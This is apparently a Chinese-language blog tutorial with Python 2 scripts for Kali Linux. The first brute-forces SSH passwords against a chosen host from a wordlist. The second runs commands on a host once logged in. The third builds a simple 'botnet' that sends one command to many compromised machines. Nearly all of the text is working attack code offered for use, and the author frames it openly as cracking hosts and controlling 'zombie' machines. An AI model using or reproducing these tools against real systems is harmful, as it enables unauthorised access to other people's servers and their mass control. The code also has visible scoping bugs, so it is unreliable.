目录
环境:Kali Linux python 2.7.13
暴力破解SSH口令
Pxssh是pexpect库的ssh专用脚本,他能用预先写好的 login()、logout() 和 prompt() 等函数直接与SSH进行交互 。对于login()函数,如果执行成功则不会抛出异常,将显示消息表示密码已经找到并把表示密码已找到的全局布尔值设置为true,如果异常显示密码被拒绝则返回即可,如果异常显示socket为 "read_nonblocking" 则可能是SSH服务器被大量的连接刷爆了,可以过会儿再试,如果异常显示pxssh命令提示符提取困难也应该过会儿再试一次。
# -*- coding: utf-8 -*-
"""
Created on Sat Nov 3 22:01:51 2018
@author: 小谢
"""
from pexpect import pxssh
import optparse
import time
from threading import *
maxConnection=5 #设置最大连接数
connection_lock=BoundedSemaphore(value=maxConnection)
global Found #密码全局布尔值
Found=False
global Fails #失败的次数
Fails=0
def connect(host,user,password,release):
try:
s=pxssh.pxssh() #实例化
s.login(host,user,password) #登录
print '[+] Password Found:'+password #如果不抛出异常,说明密码正确
Found=True
except Exception,e:
if 'read_nonblocking' in str(e): #主机被大量的SSH连接刷爆了
Fails+=1
time.sleep(5)
connect(host,user,password,False)
elif 'synchronize with original prompt' in str(e):
time.sleep(1)
connect(host,user,password,False)
finally:
if release:
connection_lock.release() #解锁线程
def main():
parser=optparse.OptionParser('usage %prog '+'-H <target host> -u <user> -F <password list>')
parser.add_option('-H',dest='Host',type='string',help='target host')
parser.add_option('-F',dest='passwdFile',type='string',help='password file')
parser.add_option('-u',dest='user',type='string',help='the user')
(options,args)=parser.parse_args()
host=options.Host
passwdFile=options.passwdFile
user=options.user
if host==None or passwdFile==None or user==None:
print(parser.usage)
exit(0)
fn=open(passwdFile,'r') #打开密码文件
lines=fn.readlines()
for line in lines:
if Found:
print("[*] Exiting: Password Found")
exit(0)
if Fails>5:
print("[!] Exiting: Too Many Socket Timeouts")
exit(0)
connection_lock.acquire() #锁定线程
password=line.strip("
")
print("[-] Testing:"+str(password))
t=Thread(target=connect,args=(host,user,password,True)) #开启密码爆破线程
t.start() #启动线程
if __name__=='__main__':
main()
但是这个脚本有一个bug就是,你第一次爆破主机如果有正确密码则会爆出出来,第二次爆破的话就算是有正确密码也不会爆破出来。(自己主机没有这种bug,爆破其他主机会出现这种bug)
SSH远端执行命令
当我们破解了SSH的口令之后,我们就可以运行命令了。
# -*- coding: utf-8 -*-
"""
Created on Sat Nov 3 23:37:11 2018
@author: 小谢
"""
from pexpect import pxssh
def send_command(s,cmd):
s.sendline(cmd) #发送命令给主机
s.prompt() #匹配cmd执行后的下一步操作的命令提示符
print s.before #输出命令提示符之前的内容
def connect(host,user,password):
try:
s=pxssh.pxssh()
s.login(host,user,password) #登录
return s #返回登录的session
except:
print '[-] Error Connecting' #登录失败
exit(0)
s=connect('127.0.0.1','root','toor')
send_command(s,'uname -r')
这个脚本也是有这种bug,第一次可以正确执行命令,第二次就算用户名密码正确,也显示Error Connecting。 (自己主机没有这种bug,爆破其他主机会出现这种bug)
构建僵尸网络
既然可以控制一台,那么就可以控制多台,从而可以构建僵尸网络了!
我们创建了一个Client()类,为了构造client对象,需要主机名,用户名以及密码。同时,这个类还要包含维持与肉鸡连接所需的方法:connect() 、send_command() 。Botnet全局数组记录了单个client对象,addClient()方法的输入是主机名,用户和密码并以此实例化一个client对象并将它添加到botnet数组中。botnetCommand()函数只要一个参数即要发布的命令,这函数遍历整个数组,把命令发送到botnet数组中的每个client上。
# -*- coding: utf-8 -*-
"""
Created on Fri Nov 2 22:41:45 2018
@author: 小谢
"""
from pexpect import pxssh
class Client:
def __init__(self,host,user,password): #初始化对象
self.host=host
self.user=user
self.password=password
self.session=self.connect()
def connect(self): #ssh连接
try:
s=pxssh.pxssh()
s.login(self.host,self.user,self.password)
return s
except Exception,e:
print e
print '[-] Error Connecting'
def send_command(self,cmd): #发送命令
self.session.sendline(cmd)
self.session.prompt()
return self.session.before
def botnetCommand(command):
for client in botNet:
output=client.send_command(command)
print '[*] Output from '+ client.host
print '[+] '+output
def addClient(host,user,password):
client=Client(host,user,password) #实例化对象
botNet.append(client)
botNet=[]
addClient('127.0.0.1','root','toor')
addClient('127.0.0.1','root','toor')
addClient('127.0.0.1','root','toor')
botnetCommand("uname -a")